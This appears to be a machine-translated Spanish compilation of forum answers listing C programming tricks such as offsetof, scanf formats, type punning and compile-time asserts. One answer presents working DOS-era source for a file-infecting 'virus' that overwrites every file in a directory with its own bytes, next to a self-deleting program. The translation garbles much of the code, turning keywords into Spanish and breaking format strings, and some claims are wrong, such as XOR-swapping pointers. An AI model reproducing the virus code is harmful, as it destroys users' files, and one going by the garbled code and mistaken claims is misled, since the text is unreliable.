¿Cuáles son algunos trucos geniales de C?

La macro offsetof es una de las cosas más sorprendentes en el lenguaje C. Le permite obtener el desplazamiento de un campo miembro en una estructura relativa a la dirección de la estructura.

Considere el siguiente fragmento de código.

  #include 
 #include 
 #define offsetof (TYPE, MEMBER) ((size_t) & ((TYPE *) 0) -> MEMBER)

 struct abc {
     int a
     int b [4];
     int c;
 } abc_inst;

 int main ()
 {
     printf ("% lu% lu% lu \ n", offsetof (struct abc, a), 
                         offsetof (struct abc, b), 
                         offsetof (struct abc, c));
     devuelve 0;
 }

La salida de este código será:
0 4 20

En otras palabras, la macro offsetof está devolviendo las ubicaciones relativas (desplazamientos) de la variable entera a, la matriz entera b y la variable de carácter c en la estructura abc.

Cómo funciona:
#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
El tipo de macro convierte un valor literal 0 en un puntero de la entrada TIPO. Esto hace que el compilador se comporte como si hubiera una instancia de una variable TYPE en la dirección 0. Esto hace que encontrar las compensaciones de un miembro individual sea tan simple como eliminar las referencias a sus direcciones, dado que la dirección base de la estructura es 0. Verá una cadena de caracteres adicional para (size_t) ya que el código se hace portátil en todas las arquitecturas.

Esto es muy útil cuando se implementan listas enlazadas de una manera radicalmente diferente a la que estamos acostumbrados. Esencialmente, puede pensar en un nodo de lista enlazada como dos manos (llamadas anterior y siguiente), que pueden sentarse en una estructura, y conectar esa estructura como parte de la lista enlazada. Hace que el diseño sea escalable, ya que desacopla los datos de su carga útil de los punteros de la lista vinculada. Por lo tanto, puede modificar la definición de la estructura e incluir tantos nodos de listas vinculadas como sea necesario.
Página en Kernelnewbies

  1. Si está utilizando un compilador gcc, puede usar las macros más probables / improbables para la predicción de bifurcaciones

  # define probable (x) __builtin_expect ((x), 1)
 # define improbable (x) __builtin_expect ((x), 0) 

Basándose en esta información, el compilador genera código inteligente, de manera que se favorece el resultado más esperado.

Para ver cómo podría ser beneficioso, un extracto de “info gcc”:
[código] if (__builtin_expect (x, 0)) foo ();
[Esto] indicaría que no esperamos llamar a ‘foo’, ya que esperamos que ‘x’ sea cero. [/ Código]

Más sobre esto aquí: Kernel: macros probable / improbable

2. También puedes inicializar una estructura a cero, lo cual es bastante bueno

  struct mystruct a = {0}; 

3. También al inicializar matrices o enumeraciones, puede poner una coma después del último elemento en el inicializador

int x[] = { 1, 2, 3, };

4. Y la gente no usa suficiente bitfields

  struct SomeStruct
 {sin firmar a: 5; 
    sin firmar b: 1;
    sin firmar c: 7;
 }; 

El número después de los dos puntos es el número de bits que requiere el miembro, con los miembros empaquetados en el tipo especificado, por lo que el anterior sería similar al siguiente si unsigned es de 16 bits:
xxxc cccc ccba aaaa

1. Usando el valor de retorno de “scanf ()” para verificar el final del archivo:

  while (~ scanf ("% d", & n)) { 
   /* Tu solución */
 } 

Muy útil en jueces en línea donde las entradas son terminadas por EOF. También podemos usar este truco para acortar el código, por ejemplo, en la sección de desafío de SPOJ o al acortar.

2.%m ” cuando se usa dentro de printf() imprime ” Success “:

printf("%m");

%m solo imprime ” Success ” cuando “errno == 0”, es la abreviatura de una representación de cadena del último estado de error observado. Por ejemplo, si una función falla antes de la impresión, se imprimirá algo diferente. *

3. Inicialización implícita de variables enteras con 0 y 1.

  g; main (i) {
    printf ("g =% d, i =% d \ n", g, i);
 } 

4. brk(0); Se puede utilizar como alternativa para la return 0; :

Estos son útiles (trucos) para acortar el código.

* Actualizado después del comentario de Jan Christian Meyer.

Permítanme comenzar diciendo: valore el código claro sobre el código inteligente. Podrías pensar dos veces antes de usar muchos o cualquiera de estos trucos en el código que otros deberán mantener.


Puede indexar un literal de cadena como una matriz. Por ejemplo, el siguiente bucle imprimirá un número entero de 32 bits como un número hexadecimal:

  void print_val (uint32_t val) {
   para (int i = 28; i> = 0; i - = 4) {
     dígito int = 0xF & (val >> i);
     putchar ("0123456789ABCDEF" [dígito]);
   }
 }

La expresión ”0123456789ABCDEF”[digit] indexa el literal de cadena como si fuera una matriz, devolviendo un solo carácter. Y, como C te permite, puedes escribirlo como: digit[“0123456789ABCDEF”] , y eso también funcionaría. Esto se debe a que C define a[i] como exactamente equivalente a *(a + i) , y la suma es conmutativa.


Puede usar el punteo de tipos para manipular la representación subyacente de los datos. NOTA: ¡ Esto invoca un comportamiento indefinido! Dicho esto, GCC soporta este sabor particular como una extensión de lenguaje:

  union float_uint32 {
   flotar f;
   uint32_t u;
 };

 uint32_t float_to_uint32 (float f) {
   union float_uint32 punner;
   punner.f = f;
   return punner.u;
 }

 float uint32_to_float (uint32_t u) {
   union float_uint32 punner;
   punner.u = u;
   retorno punner.f;
 }

¿Por qué querrías hacer esto? A veces, necesita trabajar con la representación de datos a nivel de bits subyacente. En el ejemplo anterior, ahora podemos separar un float . En máquinas con punto flotante IEEE-754, float tiene un diseño bien definido y bien documentado, con muchas propiedades interesantes. Pero, para usarlos completamente, necesitas acceso a los bits.


Ahora, de vuelta en el ámbito del comportamiento útil y definido: puede lanzar de forma segura un puntero a una struct a un puntero a su primer miembro, y viceversa . (Vea §6.7.2.1 (13) en la página 103.) Esto le permite implementar de manera segura y portátil un tipo simple de mecanismo de herencia.

Cuando se combina con punteros de función, puede construir esto en un tipo simplificado de programación orientada a objetos, en C.

  #include 
 #include 

 struct base_class {
   void (* method1) (struct base_class * self, int arg);
   void (* method2) (struct base_class * self, double arg);
 };

 struct child1_class {
   struct base_class base;
   int child1_field;
 };

 struct child2_class {
   struct base_class base;
   doble child2_field;
 };

 void child1_method1 (struct base_class * self_base, int arg) {
   struct child1_class * self = (struct child1_class *) self_base;

   printf ("child1_method1:% d \ n", arg + self-> child1_field);
 }

 void child1_method2 (struct base_class * self_base, double arg) {
   struct child1_class * self = (struct child1_class *) self_base;

   printf ("child1_method1:% f \ n", arg + self-> child1_field);
 }

 const struct base_class child1_base = {
  .method1 = child1_method1,
  .method2 = child1_method2,
 };

 struct child1_class * make_child1 (valor int) {
   struct child1_class * new_child1 = malloc (sizeof (struct child1_class));
   if (! new_child1) devuelve NULL;
   new_child1-> base = child1_base;
   new_child1-> child1_field = value;
   volver new_child1;
 }

 void child2_method1 (struct base_class * self_base, int arg) {
   struct child2_class * self = (struct child2_class *) self_base;

   printf ("child2_method1:% f \ n", arg + self-> child2_field);
 }

 void child2_method2 (struct base_class * self_base, double arg) {
   struct child2_class * self = (struct child2_class *) self_base;

   printf ("child2_method1:% f \ n", arg + self-> child2_field);
 }

 const struct base_class child2_base = {
  .method1 = child2_method1,
  .method2 = child2_method2,
 };

 struct child2_class * make_child2 (valor doble) {
   struct child2_class * new_child2 = malloc (sizeof (struct child2_class));
   if (! new_child2) devuelve NULL;
   new_child2-> base = child2_base;
   new_child2-> child2_field = value;
   volver new_child2;
 }

 void demo_polymorphism (struct base_class * item) {
   if (item) {
     item-> method1 (item, 1000);
     item-> method2 (item, 1.2345);
   }
 }

 int main () {
   struct base_class * c1 = (struct base_class *) make_child1 (42);
   struct base_class * c2 = (struct base_class *) make_child2 (12.34);

   demo_polimorfismo (c1);
   demo_polimorfismo (c2);
  
   devuelve 0;
 }

Esto puede ser particularmente útil si desea usar principios de diseño orientados a objetos, pero está atascado usando C.

Potencia de scanf ()

Supongamos que tenemos: char a [100];

Para leer una cadena:
scanf (“% [^ \ n] \ n”, a);
// significa leer hasta que se encuentre con ‘\ n’, luego trash que ‘\ n’

Para leer hasta un coma:
scanf (“% [^,]”, a);
// este no destruye el coma

scanf (“% [^,],”, a);
// este destruye el coma

Si desea omitir alguna entrada, use el signo * después de%. Por ejemplo, usted quiere leer el apellido de “John Smith”:

scanf (“% s% s”, temp, last_name);
// respuesta típica, usando 1 variable temporal

scanf (“% s”, last_name);
scanf (“% s”, last_name);
// otra respuesta, solo usa 1 variable, pero llama a scanf dos veces

scanf (“% * s% s”, último);
// mejor respuesta, porque no necesitas una variable temporal adicional ni llamar a scanf dos veces

Por cierto, ¡debe tener mucho cuidado con el uso de scanf debido a la posibilidad de desbordar su búfer de entrada! En general, debería considerar usar fgets y sscanf en lugar de solo scanf, usar fgets para leer en una línea y luego sscanf para analizar esa línea como se demostró anteriormente.

Usando #if 0 y #endif para comentar los bloques de código.

No solo no se ejecuta, ni siquiera se compila. A menudo se utiliza para eliminar temporalmente segmentos de código con la intención de volverlos a activar más tarde. Además, esto le permite agregar más comentarios de línea en el código (por lo tanto, dejar que otro programador o usted mismo (más adelante) sepa qué hacer con el bloque de código).

p.ej.

#if 0

código aleatorio aquí // más comentarios de línea aquí

#terminara si

Sin esta función, uno tendría que prefijar cada línea con // o comenzar la sección con / * y terminar la sección con * /. El problema con la última técnica es que los comentarios no se anidan, por lo que el desarrollador debe verificar y manejar cualquier * / entre el inicio y el final.

Intercambia 2 punteros sin usar el tercer puntero:

  int * a;
 int * b;
 a ^ = b;
 b ^ = a;
 a ^ = b; 


Puede usar variables para formatear los especificadores de formato con el carácter *:

  #include 
 int main ()
  {
    int a = 3;
    flotador b = 6.412355;
    printf ("%. * f \ n", a, b);
    devuelve 0;
 } 

La salida del código anterior será, 6.412 (dado que el valor de a = 3)

El truco más sorprendente que encontré fue el estado del perfil de codificador superior de alguien:
Código:
#include
doble m [] = {7709179928849219.0, 771};
int main ()
{
m [1] -? m [0] * = 2, main (): printf ((char *) m);
}
Te sorprenderás seriamente por la salida … aquí está:
C ++ Sucks

Intenté analizar el código y se me ocurrió una razón, pero no una explicación exacta … así que traté de preguntarlo en stackoverflow … puede ver la explicación aquí:
Concepto detrás de este código de C ++ complicado de 4 líneas.
Léelo y aprenderás algo que ni siquiera hubieras pensado … 😉

Imprima los números del 1 al 200 sin utilizar ningún bucle, goto, recursión

#include
#define STEP1 step ();
#define STEP2 STEP1 STEP1
#define STEP4 STEP2 STEP2
#define STEP8 STEP4 STEP4
#define STEP16 STEP8 STEP8
#define STEP32 STEP16 STEP16
#define STEP64 STEP32 STEP32
#define STEP128 STEP64 STEP64
#define STEP256 STEP128 STEP128

int n = 0;

paso int ()
{
si (++ n <= 200)
printf (“% d \ n”, n);
}

int main ()
{
STEP256;
devuelve 1;
}

C puede inicializar elementos en una matriz en cualquier orden:

Para especificar un índice y elemento de matriz, escriba [índice] = dentro de llaves.

Por ejemplo :

int array[] = {[5] = 10, [1] = 2, [3] = 4 };

es equivalente a

int array[] = { 0, 2, 0, 4, 0, 10};

Algo más interesante:

Inicialice un rango de índice a un valor particular en una matriz. Esta es una extensión de GNU (características que no se encuentran en el estándar C de la ISO).

Ejemplo:

int array[] = { [0 ... 9] = 1, [10 ... 20] = 2, [30 ... 40] = 3};

es equivalente a

int array[] = { 1, 1, 1, 1, ..... 2, 2, 2 ...... 3, 3, 3};

  • Programa autodestructivo en C

Este programa se destruirá al ejecutarse. El programa hará que el archivo .exe se elimine en la ejecución. Aquí está el código

#include
#incluir
#incluir
vacío principal()
{
printf (“Este programa se destruirá solo si presionas cualquier tecla !!! \ n”);
getch ();
remove (_argv [0]); / * matriz de punteros a los argumentos de la línea de comandos * /
}

  • Crea Virus en C

Este programa es un ejemplo de cómo crear un virus en C. Este programa demuestra un programa de virus simple que, al ejecutarse (En ejecución), crea una copia de sí mismo en el otro archivo. Así destruye otros archivos al infectarlos. Pero el archivo infectado con virus también es capaz de propagar la infección a otro archivo y así sucesivamente. Aquí está el código fuente del programa de virus.

#include
#incluir
#incluir
#include
#incluir
#include

FILE * virus, * host;
int hecho, a = 0;
sin signo largo x;
buff char [2048];
struct ffblk ffblk;
clock_t st, final;

vacío principal()
{
st = reloj ();
clrscr ();
done = findfirst (“*. *”, & ffblk, 0);
mientras (! hecho)
{
virus = fopen (_argv [0], “rb”);
host = fopen (ffblk.ff_name, “rb +”);
if (host == NULL) goto next;
x = 89088;
printf (“Infectando% s \ n”, ffblk.ff_name, a);
mientras (x> 2048)
{
fread (buff, 2048,1, virus);
fwrite (buff, 2048,1, host);
x- = 2048;
}
fread (buff, x, 1, virus);
fwrite (buff, x, 1, host);
a ++;
siguiente:
{
fcloseall ();
done = findnext (& ffblk);
}
}
printf (“DONE! (Total de archivos infectados =% d)”, a);
end = clock ();
printf (“TIEMPO TOMADO =% f SEC \ n”,
(end-st) / CLK_TCK);
getch ();
}

  • Diverso

Compila mientras escribes! Requiere un terminal tty unix

#include “/ dev / tty0”

Calcula el valor de PI

doble PI = 4.0 * atan (1.0);

El programa de C más extraño. Requiere 8086 de la familia de procesadores.

int main [] = {0xc3};

  • Algunas macros e identificadores incorporados geniales:
  • __CUENTRO__: Esta macro se expande a valores integrales secuenciales a partir de 0. Junto con el operador ##, esto proporciona un medio conveniente para generar identificadores únicos.
  • __FECHA__: La fecha de traducción de la unidad de traducción de preprocesamiento: una cadena de caracteres literal de la forma “Mmm dd aaaa”, donde los nombres de los meses son los mismos que los generados por la función theasctime, y el primer carácter de dd es un espacio carácter si el valor es menor que 10. Si la fecha de traducción no está disponible, se proporcionará una fecha válida definida por la implementación.
  • __TIME__: El tiempo de traducción de la unidad de traducción de preprocesamiento: una cadena de caracteres literal de la forma “hh: mm: ss” como en el tiempo generado por la función asctime. Si el tiempo de traducción no está disponible, se proporcionará un tiempo válido definido por la implementación.
  • __FILE__: El nombre del archivo fuente.
  • __LINE__: Número de línea actual.
  • __func__: Nombre de la función actual.
  • Utilice of () para evitar que el preprocesador expanda la definición de la función.

    7.1.4 Uso de las funciones de la biblioteca
    Cualquier función declarada en un encabezado puede implementarse adicionalmente como una macro similar a una función definida en el encabezado, por lo que si una función de biblioteca se declara explícitamente cuando se incluye su encabezado, se puede usar una de las técnicas que se muestran a continuación para garantizar que la declaración no esté afectado por tal macro. Cualquier definición de macro de una función se puede suprimir localmente encerrando el nombre de la función entre paréntesis, porque el nombre no es seguido por el paréntesis izquierdo que indica la expansión de un nombre de función de macro. Por el mismo motivo sintáctico, está permitido tomar la dirección de una función de biblioteca incluso si también se define como una macro.

     #define sin(x) __builtin_sin(x) // parentheses avoid substitution by the macro double (sin)(double arg) { return sin(arg); // uses the macro } int main() { // uses the macro printf("%f\n", sin(3.14)); // uses the function double (*x)(double) = &sin; // uses the function printf("%f\n", (sin)(3.14)); } 
  • Usa variables globales para inicializar cosas a cero.
    i;main(c){printf("%d",i);}
  • Aritmética de punteros, por supuesto.

    Otra es la creación de cadenas, lo que facilita la impresión de nombres de argumentos y fragmentos de código en tiempo de ejecución.

      #define assert0 (foo) if (foo! = 0) printf ("Assert failed:" #foo "no es igual a cero. \ n"); 

    1. Usando el valor de retorno de “scanf ()” para verificar el final del archivo:

      while (~ scanf (“% d”, & n)) {
     /* Tu solución */
     }
    

    Muy útil en jueces en línea donde las entradas son terminadas por EOF.

    2. “% m” cuando se usa dentro de printf () imprime “Success”:

      printf (“% m”);
    

    % m solo imprime “Correcto” cuando “errno == 0”, es la abreviatura de una representación de cadena del último estado de error observado. Por ejemplo, si una función falla antes de la impresión, se imprimirá algo diferente. *

    3. Inicialización implícita de variables enteras con 0 y 1.

      main (i) {
     printf ("g =% d, i =% d \ n", g, i);
     }
    

    4. brk (0); Puede ser usado como una alternativa para devolución 0 ;:

    5. Imprima los números del 1 al 200 sin utilizar ningún bucle, goto, recursión

      #include 
     #define STEP1 step ();
     #define STEP2 STEP1 STEP1
     #define STEP4 STEP2 STEP2
     #define STEP8 STEP4 STEP4
     #define STEP16 STEP8 STEP8
     #define STEP32 STEP16 STEP16
     #define STEP64 STEP32 STEP32
     #define STEP128 STEP64 STEP64
     #define STEP256 STEP128 STEP128
     int n = 0;
     paso int ()
     {
     si (++ n <= 200)
     printf ("% d \ n", n);
     }
     int main ()
     {
     STEP256;
     devuelve 1;
     }
    

    7. C ++ Sucks?

      #include 
     doble m [] = {7709179928849219.0, 771};
     int main ()
     {
     m [1] -? m [0] * = 2, main (): printf ((char *) m);
     }
    

    Te sorprenderá ver la salida: C ++ Sucks

    Aquí está la explicación.

    8. ¿Conoces el operador “GOES TO --> ” en C?

    En realidad -> no es un operador. De hecho, es una combinación de dos operadores separados, es decir, - y>. Para comprender cómo funciona el operador “va a”, consulte el fragmento de código a continuación.

    En el ejemplo, hay un código condicional que disminuye la variable x, mientras devuelve el valor original de x (no decrementado), y luego compara el valor original con 0 usando el operador>.

      int _tmain () {
     int x = 10;
     while (x -> 0) // x va a 0
     {
     printf ("% d", x);
     }
     printf ("\ n");
     }
    

    Salida:
    9 8 7 6 5 4 3 2 1 0
    Pulse cualquier tecla para continuar . . .

    9. Scanf Magic

      scanf ("% [^,]", a);  // Esto no quita la coma
     scanf ("% [^,],", a);  // Este desecha la coma
     scanf ("% [^ \ n] \ n", a);  // Se leerá hasta que se encuentre con '\ n', y luego se deshace de '\ n'
     scanf ("% * s% s", last_name);  // last_name es una variable
    

    10. Añadir números sin el operador '+'

      int Add (int x, int y)
     {
     si (y == 0)
     devuelve x;
     más
     return Add (x ^ y, (x & y) << 1);
     }
    

    Fuente: Interesantes trucos de programación en C que no conocías antes

    Estaré agregando algunos nuevos trucos muy pronto.

    • asprintf / vasprintf

    La gente que solía formatear cadenas usando sprintf o vsprintf que aceptan un búfer preasignado, puede que no sea seguro, por lo que snprintf o vsnprintf se usan agregando un parámetro que indica la longitud del búfer a las funciones. Una mejor manera es usar asprintf (que es una extensión GNU no una extensión C estándar).

      int asprintf (char ** strp, const char * fmt, ...);
     int vasprintf (char ** strp, const char * fmt, va_list ap);
    
     char * topdir;
     asprintf (& topdir, "% s / .build-id /", buildid_dir);
    

    La función en sí calcula la longitud de la cadena y le asigna suficiente búfer, lo que el usuario debe hacer es liberar el búfer al final.

    • unión anónima

    Supongamos que desea definir una estructura para representar todos los registros de la CPU x86, la estructura debe ser referenciada por un nombre de registro o un índice de registro, todos sabemos que los registros x86 pueden ser referenciados por byte, media palabra y palabra, su estructura debe ser lo suficientemente elegante Para manejar todos estos casos. Entonces la unión anónima es una elección perfecta:

      typedef struct {
    	 Unión {
    		 Unión {
    			 uint32_t _32;
    			 uint16_t _16;
    			 uint8_t _8 [2];
    		 } gpr [8];
    		 estructura {
    			 uint32_t eax, ecx, edx, ebx, esp, ebp, esi, edi;
    		 };
    	 };
    	 swaddr_t eip;
     } x86_cpu;
    
     // referencia por nombre
     x86_cpu.eax =% eax;
     x86_cpu.ebx =% ebx;
    
     // por índice
     x86_cpu.gpr [EAX] ._ 32 =% eax;
     x86_cpu.gpr [EAX] ._ 16 =% ax;
     x86_cpu.gpr [EAX] ._ 8 [0] =% ah;
     x86_cpu.gpr [EAX] ._ 8 [1] =% al;
    
    • #include

      En t
      principal()
      {
      int i;
      char * s;

      s = “¡Hola mundo! \ n”;
      para (i = 0; i [s]; i ++) {
      putchar (i [s]);
      }
      devuelve 0;
      }

    • Compile Time Asserts Este truco no es tanto una función del lenguaje C como un uso particularmente “creativo” de las macros. A veces, especialmente en la programación del kernel, es muy útil afirmar en una condición que puede verificarse en tiempo de compilación, en lugar de tropezar con él en tiempo de ejecución. Desafortunadamente, C99 no tiene ninguna facilidad para afirmaciones en tiempo de compilación.
    • Sin embargo, podemos aprovechar el preprocesador para generar código que se compilará (preferiblemente no emitir instrucciones reales) solo si se cumple una condición. Hay una variedad de formas diferentes de hacer esto, generalmente aprovechando la creación de matrices o estructuras de tamaño negativo. La forma más popular parece ser:
      / * Forzar un error de compilación si la condición es falsa, pero también producir un resultado * (de valor 0 y tipo size_t), por lo que se puede usar, por ejemplo, en un inicializador de estructura * (o dondequiera que no se permitan las expresiones de coma). * // * Linux llama a estos BUILD_BUG_ON_ZERO / _NULL, lo que es bastante engañoso.
      * / # define STATIC_ZERO_ASSERT (condición) (sizeof (struct {int: -! (condición);}))
      #define STATIC_NULL_ASSERT (condición) ((void *) STATIC_ZERO_ASSERT (condición)) / * Forzar un error de compilación si la condición es falsa * /
      #define STATIC_ASSERT (condición) ((nula) STATIC_ZERO_ASSERT (condición))
      Si (condición) se evalúa a un valor distinto de cero (que es verdadero, en C), entonces! (Condición) se evaluará a cero, y el código se compilará con éxito al tamaño de una estructura que contiene un campo de bits de ancho cero. Si (condición) se evalúa como 0, lo cual es falso en C, entonces se producirá un error de compilación al intentar generar un campo de bits de ancho negativo.
      El uso de esto es bastante sencillo. Si se hacen suposiciones que se pueden verificar de forma estática, se pueden confirmar en tiempo de compilación. Por ejemplo, en la lista de banderas anterior, el conjunto de banderas se mantiene como auint32_t. Entonces, podríamos tener la siguiente línea:
      STATIC_ASSERT (Total <= 32)
      Esto se expande a:
      ( void ) sizeof (struct { int : -! (Total <= 32)})
      Ahora, supongamos que es el caso el Total <= 32. Entonces, -! (Total <= 32) se evalúa a 0, por lo que el código es equivalente a
      ( void ) sizeof (struct { int : 0})
      que es un código C válido. Supongamos en cambio que hay más de 32 banderas. Entonces, -! (Total <= 32) se evalúa a -1. Entonces tenemos el equivalente de
      ( void ) sizeof (struct { int : -1})
      Dado que el ancho del campo de bits es negativo, esto garantizará que la compilación fallará si el número de indicadores excede el espacio que tenemos para ellos.

    He encontrado la característica muy interesante de los atributos de función en GCC. Especialmente el Constructor de atributos, que ejecuta la función antes que main.

    El atributo constructor hace que la función se llame automáticamente antes de que la ejecución ingrese main (). De manera similar, el atributo destructor hace que la función se llame automáticamente después de que main () complete o se llame a exit (). Las funciones con estos atributos son útiles para inicializar datos que se utilizan implícitamente durante la ejecución del programa.

    Documentación GCC
    ¿Cómo funciona exactamente __attribute __ ((constructor))?

    1. int a = 50;
    int b = 10;
    int * p = & b;
    int c = a / * p;
    printf (“% d”, c);

    Podríamos pensar que esto imprime 5, pero el programa falla en la compilación
    ya que / * se trata como comentario comience en a / * p;

    2. main () {char * s = “main () {char * s =% c% s% c; printf (s, 34, s, 34);}”;
    printf (s, 34, s, 34); }

    Este es un programa de auto-reproducción en C

    3. En C printf (),% n es un especificador de formato especial que, en lugar de imprimir algo, hace que printf () cargue la variable señalada por el argumento correspondiente con un valor igual al número de caracteres impresos por printf () antes de la ocurrencia de% n.

    Conozco algunos

    1. La matriz de inicialización del preprocesador (completa la matriz con los valores de array.txt)

     double array[][] = { #include "array.txt" }; 

    2. Intercambiar dos punteros (sin la necesidad de un puntero temporal)

     int * x; int * y; x ^= y; y ^= x; x ^= y; 

    3. Inicializar estructuras (sin llamar memset)

     struct somestruct Z = {0}; 

    4. Use constantes de múltiples caracteres (para crear enumeraciones de auto-documentación)

     enum weather { sun = 'SUNNY!', rain = 'RAINY!', cloud = 'CLOUDY!', }; 

    Si desea asignar espacio para alguna cadena de longitud N, use calloc(N+1, sizeof(char)) para que no tenga que anular la cadena por sí mismo.